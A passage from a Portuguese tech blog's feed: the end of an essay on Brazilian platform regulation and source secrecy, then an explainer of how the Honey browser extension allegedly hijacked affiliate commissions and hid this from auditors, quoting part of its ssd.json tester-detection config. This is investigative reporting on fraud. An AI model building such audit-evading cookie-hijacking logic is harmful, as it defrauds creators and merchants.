    <a href="#e-os-criminosos-de-verdade" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Tem um contrassenso nessa história que quase ninguém comentou. A sanção contra o Discord caiu em seis dias, com potencial de R$ 50 milhões de multa por infração. E o que acontece com os autores do crime que motivou tudo isso?</p>
<p>O grupo de Naviraí era composto por cinco adolescentes de 13 a 17 anos e um jovem de 18. O líder investigado tem 14. Pela lei brasileira, <strong>só o de 18 responde como adulto</strong>, por homicídio qualificado. Os outros cinco entram no regime do ECA — o clássico, não o digital: medida socioeducativa de internação, com <a href="https://www.atfcursosjuridicos.com.br/repositorio/material/15893963154125-ecaparaoabatf.pdf"target="_blank" rel="noopener">teto de três anos</a> e soltura compulsória aos 21. O caso corre em sigilo e não sabemos as medidas aplicadas, mas o teto é esse, não importa a crueldade. O mentor intelectual do massacre de Suzano, com 10 mortos, tinha 17 anos e <a href="https://g1.globo.com/sp/mogi-das-cruzes-suzano/noticia/2019/05/03/justica-decide-manter-internacao-de-menor-apontado-como-mentor-intelectual-do-massacre-em-suzano.ghtml"target="_blank" rel="noopener">ficou internado</a> — três anos, independentemente da contagem de corpos.</p>
<p>E tem uma ironia de calendário: em fevereiro de 2026 o Brasil <a href="https://www.brasilparalelo.com.br/noticias/lula-sanciona-lei-que-define-bullying-e-cyberbullying-como-crimes"target="_blank" rel="noopener">sancionou a lei que tornou hedionda a indução online a suicídio e autolesão</a>, com pena dobrada pra líderes de grupo. Pra adultos. Pros cinco adolescentes de Naviraí, investigados exatamente por isso, não muda nada: o teto continua sendo os três anos do ECA.</p>
<p>E segue assim por escolha, porque tentativa não faltou. Em março de 2026, o relator da PEC da Segurança Pública incluiu um <a href="https://www.congressoemfoco.com.br/amp/noticia/116889/governo-se-manifesta-contra-a-reducao-da-maioridade-penal--ineficaz"target="_blank" rel="noopener">referendo sobre a redução da maioridade penal pra 16 anos</a>; o governo chamou a redução de &ldquo;ineficaz e inconstitucional&rdquo; e o trecho foi arrancado pra PEC passar — <a href="https://www.nsctotal.com.br/noticias/camara-aprova-pec-da-seguranca-publica-apos-retirada-de-mencao-a-maioridade-penal"target="_blank" rel="noopener">aprovada por 487 a 15</a> sem uma linha sobre o assunto. Em junho, a CCJ da Câmara <a href="https://www.camara.leg.br/noticias/1280551-comissao-de-constituicao-e-justica-aprova-pec-que-reduz-maioridade-penal/"target="_blank" rel="noopener">aprovou a admissibilidade de outra PEC da redução, por 44 a 18</a>, mas ela ainda precisa de 308 votos em dois turnos de plenário — exatamente o muro onde a versão de 2015 morreu. Até a saída intermediária empaca: o <a href="https://www12.senado.leg.br/noticias/materias/2025/10/22/vai-a-camara-mais-tempo-de-internacao-de-adolescente-em-conflito-com-a-lei"target="_blank" rel="noopener">PL 1.473/2025</a>, que subiria a internação máxima de 3 pra 5 anos (10 pra crimes violentos), passou no Senado em outubro de 2025 e dorme na Câmara até hoje.</p>
<p>Enquanto isso, o crime organizado faz aritmética. Facções recrutam adolescentes de propósito, porque sabem que o ECA protege o executor: nos ataques de facções no Ceará, adultos <a href="https://ponte.org/periferias-sao-as-principais-vitimas-dos-ataques-de-faccoes-no-ceara/"target="_blank" rel="noopener">pagavam de R$ 1.000 a R$ 5.000 por atentado</a> pra adolescentes tocarem fogo em veículos — o mandante não se expõe, o executor não vai pra prisão. O grupo de Naviraí é a versão digital da mesma lógica: um líder de 14 anos coordenando crimes que, se cometidos por um adulto, dariam décadas de cadeia.</p>
<p>E o Brasil virou exceção até na vizinhança. A Argentina <a href="https://g1.globo.com/mundo/noticia/2026/02/27/argentina-aprova-lei-que-reduz-maioridade-penal-de-16-para-14-anos.ghtml"target="_blank" rel="noopener">aprovou em fevereiro a redução de 16 pra 14 anos</a>. A Suécia, de todos os países, <a href="https://noticias.r7.com/prisma/espaco-prisma/com-13-anos-um-adolescente-pode-matar-e-ir-para-a-cadeia-a-suecia-decidiu-que-sim-o-brasil-ainda-nao-sabe-05022026/"target="_blank" rel="noopener">baixou pra 13 anos em crimes graves a partir de julho</a> — depois que gangues passaram a recrutar crianças pelo Snapchat pra atentados justamente porque elas não podiam ser processadas. Inglaterra pune a partir dos 10 (embora a própria Ordem dos Advogados de lá queira subir pra 14), a maioria dos estados americanos transfere adolescentes de 14 pra vara criminal em homicídio, Portugal pune aos 16.</p>
<p>Pra constar, o outro lado existe: a <a href="https://brasil.un.org/pt-br/317703-redu%C3%A7%C3%A3o-da-maioridade-penal-unicef-manifesta-preocupa%C3%A7%C3%A3o-com-avan%C3%A7o-da-pec-na-c%C3%A2mara-dos"target="_blank" rel="noopener">UNICEF se posicionou contra a redução</a>, e os dados de reincidência são desconfortáveis pros dois lados — ~43% depois da internação, ~70% depois da prisão comum. Se é pra debater o modelo, debata. O que não dá é o resultado atual: uma lei nova conseguiu em seis dias tirar do ar um recurso usado por milhões de pessoas inocentes, enquanto o sistema que pune os autores do crime não sai do lugar há trinta. A gente pune o cano porque o cano é quem está ao alcance.</p>
<blockquote>
  <p><strong>Pra guardar:</strong> seis dias pra sancionar a plataforma que milhões de inocentes usam; trinta anos sem mexer no teto de quem cometeu o crime.</p>

</blockquote>
<h2>Enquanto isso, no STF: o sigilo da fonte furado<span class="hx:absolute hx:-mt-20" id="enquanto-isso-no-stf-o-sigilo-da-fonte-furado"></span>
    <a href="#enquanto-isso-no-stf-o-sigilo-da-fonte-furado" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Se fosse só o Discord, dava pra chamar de acidente regulatório. Mas na mesma semana, outro pilar caiu.</p>
<p>Desde novembro de 2025, o jornalista Luís Pablo, do Maranhão, publicava reportagens sobre o uso de um carro oficial do TJ-MA pelo ministro Flávio Dino e familiares. Em março, Alexandre de Moraes autorizou <a href="https://www.gazetadopovo.com.br/republica/decisao-de-moraes-sobre-jornalista-cita-inquerito-das-fake-news-e-contraria-nota-oficial-do-stf/"target="_blank" rel="noopener">busca e apreensão contra o jornalista</a> — numa decisão que citava o inquérito das fake news, o que a assessoria do STF depois negou. Celulares, notebook e pen drive apreendidos. Em abril, o equipamento foi devolvido, mas a análise forense continuou.</p>
<p>No dia 11 de agosto, <a href="https://g1.globo.com/jornal-nacional/noticia/2026/08/11/moraes-determina-investigacao-contra-fonte-de-jornalista-em-reportagem-sobre-dino.ghtml"target="_blank" rel="noopener">a PF cumpriu mandados contra Raimundo Cutrim</a>, ex-secretário de Segurança do Maranhão — identificado como a fonte do jornalista. Como chegaram nele? Pela análise dos dispositivos apreendidos do jornalista.</p>
<p>Entendeu o mecanismo? O art. 5º, XIV da Constituição protege o sigilo da fonte, e o jornalista pode se recusar a revelar — como ele fez, ficando em silêncio no depoimento. Então não perguntaram. Apreenderam o material de trabalho, leram tudo, e <strong>identificaram a fonte pelas costas</strong>. A constitucionalista Vera Chemin <a href="https://www.cnnbrasil.com.br/politica/especialistas-avaliam-decisao-de-moraes-sobre-fonte-de-jornalista/"target="_blank" rel="noopener">resumiu na CNN</a>: <em>&ldquo;não se pode violar o sigilo para depois verificar se houve um crime ou não&rdquo;</em>.</p>
<p>O próprio STF já decidiu isso, e mais de uma vez. Na ADPF 601, em 2019, Gilmar Mendes <a href="https://noticias.stf.jus.br/postsnoticias/ministro-gilmar-mendes-garante-sigilo-da-fonte-a-jornalista-glenn-greenwald/"target="_blank" rel="noopener">protegeu o Glenn Greenwald na Vaza Jato</a> com uma frase que deveria estar emoldurada: o sigilo da fonte <em>&ldquo;impossibilita que o Estado utilize medidas coercivas para constranger a atuação profissional e devassar a forma de recepção e transmissão daquilo que é trazido a conhecimento público&rdquo;</em>. &ldquo;Devassar a forma de recepção&rdquo; é literalmente o que a análise forense dos dispositivos fez.</p>
<p>Pra constar, a defesa do STF existe e merece ser apresentada: a investigação apura monitoramento ilegal de um ministro e da família dele, com placas, nomes de seguranças e imagens clandestinas de crianças publicados; a PF aponta que Cutrim usou cargo público pra acessar sistemas restritos; e há uma transferência de R$ 100 mil de um segundo investigado pro jornalista, cuja natureza ninguém provou ainda. Os autos correm em sigilo, então nenhuma das versões é verificável de fora. É possível que haja crime ali. Mas é exatamente por isso que a ordem importa: primeiro se investiga com meios lícitos, depois — talvez, em casos excepcionalíssimos — se discute exceção. <strong>Inverter essa ordem transforma a exceção em método.</strong></p>
<p>A reação foi a de sempre, só que mais alta: <a href="https://www.abraji.org.br/noticias/abraji-condena-violacao-de-sigilo-de-fonte-de-jornalista-no-maranhao"target="_blank" rel="noopener">Abraji</a>, ANJ, ABERT, SIP internacional, e <a href="https://www.poder360.com.br/poder-midia/globo-folha-e-estadao-criticam-stf-por-quebra-de-sigilo-da-fonte/"target="_blank" rel="noopener">editoriais dos três maiores jornais do país no mesmo dia</a>. O Estadão escreveu que o inquérito das fake news <em>&ldquo;foi convertido em instrumento de intimidação&rdquo;</em>. Miro Teixeira, o advogado que derrubou a Lei de Imprensa da ditadura em 2009, disse que o STF <a href="https://www.poder360.com.br/poder-justica/stf-atua-momentaneamente-como-tribunal-de-excecao-diz-miro-teixeira/"target="_blank" rel="noopener">atua &ldquo;momentaneamente como tribunal de exceção&rdquo;</a>.</p>
<blockquote>
  <p><strong>Pra guardar:</strong> o sigilo da fonte não foi revogado — foi contornado. Ninguém coagiu o jornalista; apreenderam os dispositivos dele e a fonte apareceu na perícia. A garantia segue existindo, mas só no papel.</p>

</blockquote>
<h2>Conclusão: estamos virando um país censurado?<span class="hx:absolute hx:-mt-20" id="conclusão-estamos-virando-um-país-censurado"></span>
    <a href="#conclus%c3%a3o-estamos-virando-um-pa%c3%ads-censurado" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O padrão é o que me preocupa, não os episódios isolados. Em 2024, o X ficou um mês fora do ar no Brasil por ordem monocrática. Em 2025, caiu o art. 19 do Marco Civil e a responsabilidade das plataformas virou proativa. Em 2026, a ECA Digital entregou ao Executivo um pacote de obrigações tão intrusivo que, na primeira vez usado, derrubou um recurso criptografado no país inteiro — enquanto o líder de 14 anos do grupo que motivou a sanção enfrenta, no máximo, três anos de internação. E o sigilo da fonte jornalística foi furado por via forense, com aval do mesmo tribunal que o consagrou.</p>
<p>Cada degrau dessa escada tem uma justificativa simpática, e é exatamente por isso que a escada é perigosa. Ninguém constrói infraestrutura de censura dizendo que é pra censura. Constrói-se pra proteger crianças, pra proteger ministros, pra proteger a democracia.</p>
<p>O problema é que <strong>infraestrutura não tem dono moral</strong>. A régua que hoje mede o Discord mede qualquer aplicativo amanhã. A fiscalização que hoje exige transmissão aberta pra proteger a Lívia vai exigir transmissão aberta pra qualquer coisa que o governo de plantão queira ver. A quebra de sigilo que hoje pega a fonte do caso Dino pega qualquer fonte, de qualquer caso, contra qualquer um.</p>
<p>E o detalhe mais revelador da semana: das duas plataformas que o Ministério da Justiça pediu pra investigar, a sancionada foi a que tem escritório, CNPJ e advogados no Brasil — a que <em>coopera</em>. A mensagem que o regulador mandou pro mercado foi invertida: <strong>cooperar te expõe; ser opaco te protege</strong>. Os adolescentes do grupo neonazista de Naviraí não vão pra lugar nenhum — vão pro Telegram, que ninguém tocou.</p>
<p>E tem o traço mais brasileiro de todos nesse arranjo: ficou impossível estar em dia com a lei. Se você protege seus usuários de verdade, com criptografia de ponta a ponta, descumpre a ECA Digital. Se cumpre a ECA Digital, abre os dados dos seus usuários e descumpre a LGPD. Se coleta documento pra verificar idade, vira alvo de vazamento e de sanção; se não coleta, vira alvo de fiscalização. <strong>Não existe configuração segura.</strong></p>
<p>E isso é tradição nossa: leis tão amplas, com tantas exceções empilhadas, que qualquer um vira infrator por acidente em qualquer esquina. Quando todo mundo está sempre devendo, a lei deixa de ser regra e vira opção — o poder real migra pra quem escolhe contra quem aplicar. Foi o que aconteceu essa semana: duas plataformas investigadas, uma punida. A que tinha endereço aqui.</p>
<p>Proteger crianças é dever civilizatório inegociável. Investigar crime contra ministro é obrigação do Estado. A pergunta que fica não é se essas causas são legítimas — são. É se o Brasil ainda consegue perseguir causas legítimas sem demoliar as garantias que tornam o país uma democracia liberal: privacidade real, criptografia funcional, imprensa com fonte protegida. Essa semana, a resposta foi não três vezes seguidas.</p>
<p>Não é censura de regime. É pior, de certa forma: é censura por acumulado, votada, sancionada e aplaudida, cada tijolo com uma plaquinha de boa intenção. E a gente só percebe o muro quando ele já está em volta.</p>
]]></content:encoded><category>seguranca</category><category>leis-e-regulacao</category><category>politica</category></item><item><title>Davi e Golias digital: Entendendo MegaLag vs Honey/Paypal</title><link>https://akitaonrails.github.io/2026/08/12/davi-e-golias-digital-entendendo-megalag-vs-honey-paypal/</link><guid isPermaLink="true">https://akitaonrails.github.io/2026/08/12/davi-e-golias-digital-entendendo-megalag-vs-honey-paypal/</guid><pubDate>Wed, 12 Aug 2026 11:00:00 -0300</pubDate><description>&lt;p&gt;Quem vive de criar conteúdo na internet sabe: comissão de afiliado paga conta. Você testa um produto, grava o review, coloca o link na descrição. Alguém assiste, clica, compra dias depois, e uma fatia da venda pinga na sua conta. Foi assim que boa parte do YouTube independente se financiou na última década.&lt;/p&gt;
&lt;p&gt;Agora imagina descobrir que um dos seus patrocinadores estava plantado no checkout dos seus espectadores, trocando a sua etiqueta pela dele e embolsando essas comissões. Milhões de vezes. Por anos.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Quem vive de criar conteúdo na internet sabe: comissão de afiliado paga conta. Você testa um produto, grava o review, coloca o link na descrição. Alguém assiste, clica, compra dias depois, e uma fatia da venda pinga na sua conta. Foi assim que boa parte do YouTube independente se financiou na última década.</p>
<p>Agora imagina descobrir que um dos seus patrocinadores estava plantado no checkout dos seus espectadores, trocando a sua etiqueta pela dele e embolsando essas comissões. Milhões de vezes. Por anos.</p>
<p>Foi isso que o MegaLag mostrou em dezembro de 2024, expondo as práticas do Honey, aquela extensão de cupons que o PayPal comprou por 4 bilhões de dólares e que prometia <em>&ldquo;achar todos os cupons de desconto da internet&rdquo;</em> pra você. Eu acompanho o canal dele desde esse vídeo e virei fã na hora: é jornalismo técnico com demonstração ao vivo, código e packet capture, não só denúncia no grito.</p>
<p>Um ano e meio depois, a história só engrossou: o PayPal tentou descartar tudo como fake news, o MegaLag voltou com evidência técnica irrefutável, a Rakuten e outras redes de afiliados cortaram o Honey publicamente, e o caso virou uma ação coletiva que acabou de sobreviver ao pedido de extinção (o <em>motion to dismiss</em> americano).</p>


<div class="embed-container">
  <iframe
    src="https://www.youtube.com/embed/vc4yL3YTwWk"
    title="YouTube video player"
    frameborder="0"
    allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
    referrerpolicy="strict-origin-when-cross-origin"
    allowfullscreen>
  </iframe>
</div>

<p>A linha do tempo dos vídeos, que são as fontes primárias deste artigo:</p>
<ol>
<li><a href="https://www.youtube.com/watch?v=vc4yL3YTwWk"target="_blank" rel="noopener">Exposing the Honey Influencer Scam</a>, 21 de dezembro de 2024</li>
<li><a href="https://www.youtube.com/watch?v=wwB3FmbcC88"target="_blank" rel="noopener">Exposing Honey&rsquo;s Evil Business Model (PART 2)</a>, 22 de dezembro de 2025</li>
<li><a href="https://www.youtube.com/watch?v=qCGT_CKGgFE"target="_blank" rel="noopener">The Honey Scam is Worse Than I Thought</a>, 30 de dezembro de 2025</li>
<li><a href="https://www.youtube.com/watch?v=EXDemfGNGz0"target="_blank" rel="noopener">Honey Gets Terminated as Lawsuits Proceed</a>, 11 de agosto de 2026 (ontem)</li>
</ol>
<p>Vou contar a história em três atos: o truque do último clique contra os criadores, o modelo de extorsão contra as lojas, e o dispositivo de fraude que enganava os auditores das redes. O miolo técnico, o que interessa pra nós desenvolvedores, está no terceiro ato. Mas sem os dois primeiros ele não faz sentido.</p>
<h2>O que o Honey deveria ser<span class="hx:absolute hx:-mt-20" id="o-que-o-honey-deveria-ser"></span>
    <a href="#o-que-o-honey-deveria-ser" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O pitch pro consumidor era irresistível: uma extensão gratuita que, na hora do checkout, testa todos os cupons de desconto conhecidos e aplica o melhor no seu carrinho. <em>&ldquo;É literalmente dinheiro de graça.&rdquo;</em> E não, eles juravam, não vendiam seus dados.</p>
<p>Pra criadores de conteúdo, o Honey era um patrocinador generoso. O MegaLag mapeou cerca de 5.000 vídeos patrocinados em mais de 1.000 canais, somando quase 8 bilhões de views. O MrBeast foi o primeiro grande nome, e a ex-presidente do Honey, Joanne Bradford, se gabava: <em>&ldquo;todo garoto nos EUA conhece o Honey&rdquo;</em>.</p>
<p>Criador ganhava dinheiro fácil recomendando uma ferramenta que parecia útil. A ironia, que o primeiro vídeo expõe com requinte: esses mesmos criadores estavam instalando no público deles, o público que mais clicava nos links de afiliado deles, a ferramenta que roubava essas mesmas comissões.</p>
<p>Pra lojas e marketplaces, o Honey se vendia como ferramenta de conversão: menos carrinho abandonado, ticket médio maior. E tinha um pitch extra, mais escuso, que aparece no FAQ de parceiros e num podcast do próprio Honey: a loja controlava quais cupons ficavam visíveis. Ou seja, pro consumidor o discurso era <em>&ldquo;achamos todos os cupons&rdquo;</em>, e pra loja era <em>&ldquo;você impede o consumidor de achar os cupons bons&rdquo;</em>. Os dois discursos eram oficiais.</p>
<h2>Afiliados em 30 segundos<span class="hx:absolute hx:-mt-20" id="afiliados-em-30-segundos"></span>
    <a href="#afiliados-em-30-segundos" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Pra entender o crime, precisa entender a vítima. Marketing de afiliados funciona assim: um criador coloca um link com uma tag de rastreamento (tipo <code>?tag=shortcircuit</code> num link da Newegg). Você clica, a loja grava um cookie com validade de uns 30 dias, e se você comprar qualquer coisa nesse período, a comissão vai pra quem gerou aquele clique.</p>
<p>O MegaLag tem uma analogia boa pra isso: é como o vendedor de uma loja de departamentos que te atende, te dá um cartão de indicação com o nome dele, e o caixa sabe de quem foi a venda. O cookie de afiliado é a versão digital desse cartão.</p>
<p>O padrão da indústria é o <strong>last-click attribution</strong>: o último clique leva tudo. Não é o sistema mais justo do mundo, mas é o mais simples de implementar. E é aqui que mora o problema: quem aparece no último segundo antes do pagamento sempre vence. E quem aparece no último segundo? Uma extensão instalada no seu navegador, que acorda exatamente na tela de checkout. É como se um segundo vendedor, que não te atendeu em momento nenhum, arrancasse o cartão da sua mão na fila do caixa e entregasse o dele no lugar.</p>
<h2>O que o Honey realmente fazia<span class="hx:absolute hx:-mt-20" id="o-que-o-honey-realmente-fazia"></span>
    <a href="#o-que-o-honey-realmente-fazia" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O primeiro vídeo documenta os cenários, todos variações do mesmo truque:</p>
<ul>
<li><strong>O popup de cupom</strong>: você clica em &ldquo;aplicar descontos&rdquo;, o Honey abre uma aba minúscula e escondida que simula um clique de afiliado com a tag do PayPal, e fecha sozinha. Seu cookie do criador é substituído. Comissão roubada, mesmo quando o Honey não acha cupom nenhum.</li>
<li><strong>O Honey Gold</strong>: quando não existe cupom, aparece um popup oferecendo pontos de cashback. Clicou, mesma coisa: último clique, comissão do PayPal.</li>
<li><strong>O popup vazio</strong>: sem cupom, sem cashback, o Honey ainda abre um popup pra você clicar em &ldquo;got it&rdquo;. Clicou pra dispensar? Já era, o clique valeu.</li>
<li><strong>O botão PayPal</strong>: num checkout que já tem opção de pagar com PayPal, o Honey oferece um botão &ldquo;check out with PayPal&rdquo;. Qualquer desculpa vale pra conseguir o último clique.</li>
</ul>
<p>O experimento que o MegaLag fez com a NordVPN deixa tudo concreto: comissão de 40% por venda. Duas compras feitas pelo próprio link de afiliado dele. Sem o Honey: $35 de comissão. Com o Honey Gold ativado: $0. A parte dele, como &ldquo;consumidor&rdquo;, do roubo da própria comissão? 89 pontos, ou seja, <strong>89 centavos de dólar</strong>. O Honey ficou com 97,5% do valor que era dele por direito.</p>
<blockquote>
  <p><strong>Pra guardar:</strong> mesmo quando você clica no link de afiliado do criador, a comissão vai pro PayPal se o Honey aparecer no checkout. No teste da NordVPN, dos $35 de comissão, o &ldquo;benefício&rdquo; que sobrou pro usuário foi 89 centavos.</p>

</blockquote>
<p>E isso não era hipótese, acontecia em escala industrial. O exemplo central do primeiro vídeo usa a tag de afiliado do Linus Tech Tips na Newegg: o Linus Media Group promoveu o Honey por anos, em algo como 160 segmentos patrocinados, e encerrou a parceria em 2022 ao perceber que o Honey sobrescrevia o link de afiliado deles <em>mesmo quando não encontrava desconto nenhum</em>. Repare na armadilha demográfica: quem instala extensão de cupom é exatamente o espectador que caça preço e clica em link de afiliado. O Honey pagava o patrocínio uma vez e passava a taxar as comissões futuras do criador pra sempre.</p>


<div class="embed-container">
  <iframe
    src="https://www.youtube.com/embed/wwB3FmbcC88"
    title="YouTube video player"
    frameborder="0"
    allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
    referrerpolicy="strict-origin-when-cross-origin"
    allowfullscreen>
  </iframe>
</div>

<p>Até aqui, a vítima era o criador. O segundo vídeo mostra o outro lado do balcão: as lojas.</p>
<h2>O modelo de negócio contra as lojas<span class="hx:absolute hx:-mt-20" id="o-modelo-de-negócio-contra-as-lojas"></span>
    <a href="#o-modelo-de-neg%c3%b3cio-contra-as-lojas" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O arquivo <code>supported domains</code> da extensão listava mais de 180.000 lojas, contra &ldquo;30.000 participantes&rdquo; no marketing. A análise da planilha (um desenvolvedor rastreou tudo e publicou) mostrava 146.000 lojas sem nenhum vínculo, incluídas presumivelmente sem consentimento.</p>
<p>Tem mais: cupom digitado manualmente no checkout era enviado pros servidores do Honey <em>antes</em> de pedir consentimento. E códigos privados vazavam pra base pública: desconto militar, cupom de funcionário, um código de $75 sem valor mínimo que dava mercadoria de graça ilimitada.</p>
<p>O estrago era mensurável. Um lojista relatou prejuízo de $100 mil depois que o código exclusivo do podcast que ele patrocinava vazou pra base do Honey, e ele só percebeu meses depois, quando a comissão de afiliado do podcast já tinha ido embora faz tempo. O Chip, CEO da Made In Cookware, resumiu o efeito: <em>&ldquo;se o Honey vai ficar com 10% da sua receita o tempo todo, no fim das contas você é obrigado a subir os preços.&rdquo;</em></p>
<p>E quando um lojista pedia pra sair, a resposta oficial era <em>&ldquo;não removemos códigos sem um relacionamento comercial&rdquo;</em>, o que o MegaLag chama, com precisão, de extorsão econômica: <strong>as lojas não pagam pra entrar, pagam pra sair</strong>.</p>
<h2>Stand down: a regra que o Honey fingia cumprir<span class="hx:absolute hx:-mt-20" id="stand-down-a-regra-que-o-honey-fingia-cumprir"></span>
    <a href="#stand-down-a-regra-que-o-honey-fingia-cumprir" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Contra tudo isso, a defesa do PayPal sempre foi a mesma: <em>&ldquo;o Honey segue as regras e práticas da indústria, incluindo o last-click&rdquo;</em>. Era uma saída retórica esperta, porque dá pra discutir se o last-click é justo. O que vem a seguir é diferente em natureza: prova de que o Honey sabia que estava errando e construiu um sistema pra não ser pego.</p>
<p>Pra entender, um pouco de contexto. As redes de afiliados (Rakuten Advertising, CJ, Impact, Awin) sabem desde 2002 que extensões de navegador são parasitas naturais desse ecossistema. Então criaram uma regra contratual chamada <strong>stand down</strong>: se o usuário já chegou à loja pelo link de outro afiliado, a extensão deve se desativar e não interferir. Ponto. Está escrito nos contratos. A política da Rakuten, por exemplo, diz que o publisher deve <em>&ldquo;se retirar e não exibir nenhuma forma de slider ou popup&rdquo;</em> quando outro afiliado já referenciou o usuário, e <em>&ldquo;não pode forçar cliques nem fazer cookie stuffing&rdquo;</em>.</p>
<p>E o Honey cumpria. Tecnicamente. Quando testado.</p>
<p>Aqui chegamos no coração do terceiro vídeo, o que o MegaLag chama de Cookie Gate, e a analogia que ele usa é precisa: o Dieselgate da Volkswagen. A VW programava os carros pra reduzir emissões só durante os testes de laboratório. O Honey programava a extensão pra respeitar o stand down só quando detectava que o usuário provavelmente era um auditor.</p>
<blockquote>
  <p><strong>Pra guardar:</strong> stand down é obrigação contratual desde 2002, não cortesia. Se o usuário chegou à loja pelo link de outro afiliado, a extensão tem que se retirar. O Honey se retirava só quando o usuário cheirava a auditor.</p>

</blockquote>
<h2>A evidência: ssd.json, linha por linha<span class="hx:absolute hx:-mt-20" id="a-evidência-ssdjson-linha-por-linha"></span>
    <a href="#a-evid%c3%aancia-ssdjson-linha-por-linha" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Depois que o PayPal comprou o Honey, a extensão foi reescrita e as regras passaram a vir em texto claro de um servidor. Isso permitiu ao MegaLag, e ao Ben Edelman, pesquisador de segurança que trabalhou no caso de fraude de afiliados do eBay nos anos 2000 e verificou tudo independentemente (<a href="https://www.benedelman.org/honey-detecting-testers/"target="_blank" rel="noopener">análise completa dele aqui</a>), expor o mecanismo inteiro.</p>
<p>Primeiro ponto arquitetural: <strong>as regras de stand down moram na nuvem, não na extensão</strong>. A extensão busca dois arquivos JSON dos servidores do Honey e verifica atualizações a cada hora: <code>standdown-rules.json</code> (as regras normais) e <code>ssd.json</code> (as regras de <em>selective stand down</em>). Ou seja: o PayPal podia mudar o comportamento de ~14 milhões de usuários em uma hora, sem atualização de extensão, sem revisão da Chrome Web Store, sem ninguém ver.</p>
<p>Segundo: as regras normais já eram uma piada. O temporizador de stand down, o tempo em que o Honey respeita o cookie do afiliado original, era de 3.600 segundos. Uma hora. Clicou no link do seu YouTuber favorito de manhã, comprou à tarde, o Honey já podia agir de novo. E um arquivamento de 2023 da Wayback Machine mostra que já foi de <strong>360 segundos. Seis minutos</strong>. Como o MegaLag diz, ele leva mais de seis minutos só pra digitar o cartão de crédito. Nenhuma rede de afiliados define prazo de expiração. O Honey inventou um.</p>
<p>Terceiro, o prato principal. Este é o <code>ssd.json</code> capturado em 22 de outubro de 2025 (comentários meus):</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span><span class="nt">&#34;ssd&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;base&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;gca&#34;</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span>      <span class="c1">// checar cookie de console de afiliados
</span></span></span><span class="line"><span class="cl">    <span class="nt">&#34;bl&#34;</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span>       <span class="c1">// checar blacklist no servidor
</span></span></span><span class="line"><span class="cl">    <span class="nt">&#34;uP&#34;</span><span class="p">:</span> <span class="mi">65000</span><span class="p">,</span>   <span class="c1">// mínimo de pontos pra IGNORAR o stand down
</span></span></span><span class="line"><span class="cl">    <span class="nt">&#34;adb&#34;</span><span class="p">:</span> <span class="mi">26298469858850</span>
</span></span><span class="line"><span class="cl">  <span class="p">},</span>
</span></span><span class="line"><span class="cl">  <span class="c1">// domínios onde procurar cookies de &#34;insider da indústria&#34;:
</span></span></span><span class="line"><span class="cl">  <span class="nt">&#34;affiliates&#34;</span><span class="p">:</span> <span class="p">[</span><span class="s2">&#34;https://www.cj.com&#34;</span><span class="p">,</span> <span class="s2">&#34;https://www.linkshare&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                 <span class="s2">&#34;https://www.rakuten.com&#34;</span><span class="p">,</span> <span class="s2">&#34;https://ui.awin.com&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                 <span class="s2">&#34;https://www.swagbucks.com&#34;</span><span class="p">],</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;LS&#34;</span><span class="p">:</span> <span class="p">{</span> <span class="nt">&#34;uP&#34;</span><span class="p">:</span> <span class="mi">5001</span> <span class="p">},</span>  <span class="c1">// exceção pra Rakuten (antiga LinkShare)
</span></span></span><span class="line"><span class="cl">  <span class="nt">&#34;PAYPAL&#34;</span><span class="p">:</span> <span class="p">{</span> <span class="nt">&#34;uL&#34;</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span> <span class="nt">&#34;uP&#34;</span><span class="p">:</span> <span class="mi">5000001</span><span class="p">,</span> <span class="nt">&#34;adb&#34;</span><span class="p">:</span> <span class="mi">26298469858850</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">},</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;ex&#34;</span><span class="p">:</span> <span class="p">{</span>  <span class="c1">// exceções por loja (IDs internos do Honey)
</span></span></span><span class="line"><span class="cl">    <span class="nt">&#34;7555272277853494990&#34;</span><span class="p">:</span> <span class="p">{</span> <span class="nt">&#34;uP&#34;</span><span class="p">:</span> <span class="mi">5001</span> <span class="p">},</span>                         <span class="c1">// TJ Maxx
</span></span></span><span class="line"><span class="cl">    <span class="nt">&#34;7394089402903213168&#34;</span><span class="p">:</span> <span class="p">{</span> <span class="nt">&#34;uL&#34;</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span> <span class="nt">&#34;adb&#34;</span><span class="p">:</span> <span class="mi">120000</span><span class="p">,</span> <span class="nt">&#34;uP&#34;</span><span class="p">:</span> <span class="mi">1001</span> <span class="p">},</span> <span class="c1">// Booking.com
</span></span></span><span class="line"><span class="cl">    <span class="nt">&#34;243862338372998182&#34;</span><span class="p">:</span> <span class="p">{</span> <span class="nt">&#34;uL&#34;</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span> <span class="nt">&#34;uP&#34;</span><span class="p">:</span> <span class="mi">100000</span> <span class="p">},</span>               <span class="c1">// Kayo Sports
</span></span></span><span class="line"><span class="cl">    <span class="c1">// cookies procurados, na MESMA ORDEM dos domínios acima:
